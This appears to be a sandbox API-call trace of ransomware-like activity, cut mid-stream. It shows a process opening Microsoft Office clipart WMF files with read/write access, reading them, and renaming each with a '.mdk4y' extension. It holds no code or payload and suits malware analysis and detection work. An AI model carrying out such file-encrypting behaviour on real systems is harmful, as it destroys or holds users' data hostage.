ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fe8, lpOverlapped=0x0) returned 1 [0170.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.mdk4y")) returned 1 [0170.985] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.985] AreFileApisANSI () returned 1 [0170.985] GetACP () returned 0x4e4 [0170.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02125_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02125_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.985] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.986] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4816, lpOverlapped=0x0) returned 1 [0170.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.mdk4y")) returned 1 [0170.988] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.988] AreFileApisANSI () returned 1 [0170.988] GetACP () returned 0x4e4 [0170.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02126_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02126_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.989] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c50, lpOverlapped=0x0) returned 1 [0170.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.mdk4y")) returned 1 [0170.991] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.991] AreFileApisANSI () returned 1 [0170.991] GetACP () returned 0x4e4 [0170.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02127_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02127_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.991] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.993] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfe4, lpOverlapped=0x0) returned 1 [0171.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.mdk4y")) returned 1 [0171.005] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.005] AreFileApisANSI () returned 1 [0171.005] GetACP () returned 0x4e4 [0171.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02262_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02262_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.005] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.008] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd00, lpOverlapped=0x0) returned 1 [0171.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824625500000) returned 1 [0171.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824625500000) returned 1 [0171.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.mdk4y")) returned 1 [0171.028] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.028] AreFileApisANSI () returned 1 [0171.028] GetACP () returned 0x4e4 [0171.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02264_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02264_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.028] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824625800000) returned 1 [0171.029] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e0, lpOverlapped=0x0) returned 1 [0171.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824626000000) returned 1 [0171.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824626000000) returned 1 [0171.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.mdk4y")) returned 1 [0171.031] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.031] AreFileApisANSI () returned 1 [0171.031] GetACP () returned 0x4e4 [0171.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02356_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02356_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824626200000) returned 1 [0171.032] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe14, lpOverlapped=0x0) returned 1 [0171.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824627000000) returned 1 [0171.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824627000000) returned 1 [0171.040] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.mdk4y")) returned 1 [0171.041] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.041] AreFileApisANSI () returned 1 [0171.041] GetACP () returned 0x4e4 [0171.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02361_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02361_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824627200000) returned 1 [0171.042] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17c4, lpOverlapped=0x0) returned 1 [0171.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824629200000) returned 1 [0171.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824629200000) returned 1 [0171.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.mdk4y")) returned 1 [0171.064] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.064] AreFileApisANSI () returned 1 [0171.064] GetACP () returned 0x4e4 [0171.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02368_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02368_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824629500000) returned 1 [0171.065] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd28, lpOverlapped=0x0) returned 1 [0171.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824631600000) returned 1 [0171.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824631700000) returned 1 [0171.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.mdk4y")) returned 1 [0171.088] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.088] AreFileApisANSI () returned 1 [0171.088] GetACP () returned 0x4e4 [0171.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02371_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02371_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824631900000) returned 1 [0171.089] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc74, lpOverlapped=0x0) returned 1 [0171.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824634100000) returned 1 [0171.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824634100000) returned 1 [0171.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.mdk4y")) returned 1 [0171.113] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.113] AreFileApisANSI () returned 1 [0171.113] GetACP () returned 0x4e4 [0171.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02373_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02373_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.113] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824634400000) returned 1 [0171.114] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcec, lpOverlapped=0x0) returned 1 [0171.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824635300000) returned 1 [0171.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824635300000) returned 1 [0171.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.mdk4y")) returned 1 [0171.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.124] AreFileApisANSI () returned 1 [0171.125] GetACP () returned 0x4e4 [0171.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02384_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02384_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824635600000) returned 1 [0171.126] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbd8, lpOverlapped=0x0) returned 1 [0171.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824635700000) returned 1 [0171.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824635700000) returned 1 [0171.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.mdk4y")) returned 1 [0171.129] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.129] AreFileApisANSI () returned 1 [0171.129] GetACP () returned 0x4e4 [0171.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02386_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02386_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636000000) returned 1 [0171.130] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x948, lpOverlapped=0x0) returned 1 [0171.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636200000) returned 1 [0171.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636200000) returned 1 [0171.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.mdk4y")) returned 1 [0171.133] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.133] AreFileApisANSI () returned 1 [0171.133] GetACP () returned 0x4e4 [0171.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02388_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02388_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.133] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636300000) returned 1 [0171.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc84, lpOverlapped=0x0) returned 1 [0171.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636400000) returned 1 [0171.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636500000) returned 1 [0171.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.mdk4y")) returned 1 [0171.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.138] AreFileApisANSI () returned 1 [0171.138] GetACP () returned 0x4e4 [0171.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02389_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02389_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.138] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636800000) returned 1 [0171.138] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb2c, lpOverlapped=0x0) returned 1 [0171.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824636900000) returned 1 [0171.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824637000000) returned 1 [0171.140] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.mdk4y")) returned 1 [0171.140] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.140] AreFileApisANSI () returned 1 [0171.140] GetACP () returned 0x4e4 [0171.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02390_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02390_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824637100000) returned 1 